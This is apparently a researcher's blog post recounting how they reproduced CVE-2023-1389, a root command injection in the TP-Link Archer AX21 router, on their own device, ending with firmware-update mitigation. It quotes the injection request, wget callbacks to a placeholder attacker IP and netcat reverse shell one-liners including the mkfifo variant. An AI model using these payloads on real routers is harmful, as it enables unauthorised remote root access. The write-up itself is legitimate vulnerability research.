Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Voyag3r
7 min readAug 8, 2023

--

Development

Back in March of 2023 I noticed a CVE advisory from Tenable regarding the TP-Link Archer AX21 router. This caught my eye because I used to use a TP-Link Archer router, so I dug it up and sure enough it turned out to be the AX21, the same one mentioned in the advisory. Seeing as this was a new vulnerability and I had the vulnerable hardware in hand, I set about exploring it in my limited free time, which turned out to be much more fun than I had anticipated.

According to the advisory from Tenable, CVE-2023–1389 is an unauthenticated command injection vulnerability in the write callback of the country form at the /cgi-bin/luci/;stok=/locale endpoint. Specifically, the country parameter is used in a call to popen(), which is run as the root user. Luckily, Tenable included an example of the request used to trigger the vulnerability:

POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Host: <target router>
Content-Type: application/x-www-form-urlencoded

operation=write&country=$(id>/tmp/out)

This gave me a great starting point, so after configuring my router and checking that I could browse to the admin login page, I fired up BurpSuite and began intercepting requests, looking for one similar to the above. It was at this point I realized — even if it worked, I’d have no way to tell. The router was essentially a black box, with no way for me to gain access to its inner working to check if I was able to successfully write a test file. Yes, I likely could have forced my way in one way or another, but I didn’t want to permanently damage the router as I was planning on selling it eventually (after updating the firmware and remediating the vulnerability, of course).

After sitting with this dilemma for a while, I figured I didn’t need anything fancy as an initial proof-of-concept — I only needed something to see if it had worked, and that something could be as simple as a callback to a python webserver under my control. Starting the webserver on my machine, I now began looking through the requests I had intercepted once again. Eventually I found a POST request similar to the one from the advisory. Replacing the relevant lines with the ones above and changing the command to “$(wget+http://<my_ip>/fakefile.txt),” I crossed my fingers, hoped that wget was installed on the machine (from the advisory it seemed like a good bet the routers were running a version of Linux, which would likely have wget) and sent the request twice (as specified in the advisory).

No joy. Of course it wasn’t going to be that easy.

After playing with the failed request a bit more, I resigned myself to the fact that I was going to have to analyze more requests to gain a better understanding of how it was interacting with the application. I logged into the router through the web application and began the tedious process of looking through the various GET and POST requests, and eventually noticed something — all of the requests using the vulnerable endpoint had the operation as part of the POST line, rather than as a separate variable at the bottom of the request. Modifying the request from the advisory to more closely resemble those I was seeing, I double checked my python webserver and once again sent the request twice.

Success! Even though I had gotten a “500 Internal Server Error” response for both requests, this time I saw a callback for “fakefile.txt” in my webserver output. Excited that I was on the right track, I modified the request again to try a slightly more complex command.

Directory Listing Attempt
Partial Directory Listing

Success again! Seeing “cgi-bin” as part of the output let me know I was likely listing the contents of the /www directory, which also made me think that I was only getting a partial directory listing as “cgi-bin” is rarely alone in the web directory. Experimenting with a few other commands such as “id” and “uname -a” confirmed my suspicions as I was only receiving partials of the expected output.

After surmounting what I thought was the largest hurdle, I confirmed that netcat was installed on the system, started a netcat listener on my machine, and attempted an easy reverse shell with “nc <my ip> 9999 -e /bin/bash.” No luck, not even a connection attempt. Suspecting the “-e” option was unavailable on the version of netcat installed, I had to look for other options. I could have just transferred a reverse shell payload for an easy win, but I didn’t like the idea of putting a payload on a device I was going to sell to someone, and it felt too much like cheating.

I took another look at the PoC in the Tenable advisory and decided I would copy them and add my own piece — send the output of the command to /tmp/out and then use netcat to transfer the file to my machine where I could read it. Quickly setting up two requests, one to send the output of the “ls” command to /tmp/out, and the second to transfer the file to my machine, I tested it out. I decided to leave in the “wget” call to my machine just so I could verify that the requests were being sent, even though there would be no output for me to check.

Send Output to /tmp/out
Transfer /tmp/out
Success

It worked! I now had a convoluted way to view the entire output of any commands I ran. This allowed me to further explore the operating system and file structure I was working with, but it didn’t take too long for the manual editing and sending of requests through BurpSuite to wear me down. So naturally the next step was to automate this whole process with a python script, which would mean dusting off my scripting skills and spending a lot of time on Google.

My first scripting attempt was to automate the exact same process I was using with BurpSuite — send the output of the commands to a file in /tmp/out, then transfer that file to my attacker machine with netcat. After a lot of trial and error (my scripting skills are a bit rusty), I was able to get it working with all of the necessary customizable fields such as the router IP, attacker IP and port, and the command to run.

Successful Output from the Initial PoC

I was tempted to leave it here and call it a success, after all, I was able to successfully run code on the vulnerable router and view the output. However, after thinking about it some more I was still bothered that I hadn’t been able to get a reverse shell, and I was sure there was a way to do it, I just hadn’t discovered it yet.

Using my brand new PoC, I began searching for every possible method I could think of. I tried running “nc -h” to view the available options, but for some reason that didn’t generate any output, and since I didn’t have an interactive shell I couldn’t check the man pages for the documentation either. I attempted various reverse connections with bash and sh, but never received a successful connection, and searched for other scripting languages installed such as python, perl, PHP, but none were installed. It seemed my only options were going to be netcat or bash, so with that in mind I turned to Google to find the various techniques available for those two methods.

I eventually took another look at pentestmonkey’s Reverse Shell Cheat Sheet and noticed an option for netcat that I had ignored before:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT>/tmp/f

I hadn’t tried this one yet, so I started my netcat listener, ran the command, and got a successful connection! After a little bit more research I found this command tends to work for netcat on OpenBSD and BusyBox, which gave me a little bit more insight into the OS of my router.

With this new found information I modified my original exploit to make it much simpler: all that is needed is the router IP, and attacker IP and port. After starting up the netcat listener one more time I ran the updated exploit and checked for the connection:

Reverse Shell Exploit
Successful Reverse Shell

Success! I now had a simple, working exploit to obtain a simple netcat reverse shell.

Mitigation

TP-Link has already released updated firmware to fix the issue by removing the vulnerable call back. Most TP-Link Archer AX21 routers should provide you the option to update your firmware to the fixed version, however, if yours doesn’t you can download the appropriate zip file for your hardware version and install the updated firmware manually.

Code

I’ve made the code for both PoC available on Github and the reverse shell is currently available on Exploit-DB. Don’t use these programs against devices you do not have explicit permission to test. I’m making them available purely for ethical use and educational purposes.

--

--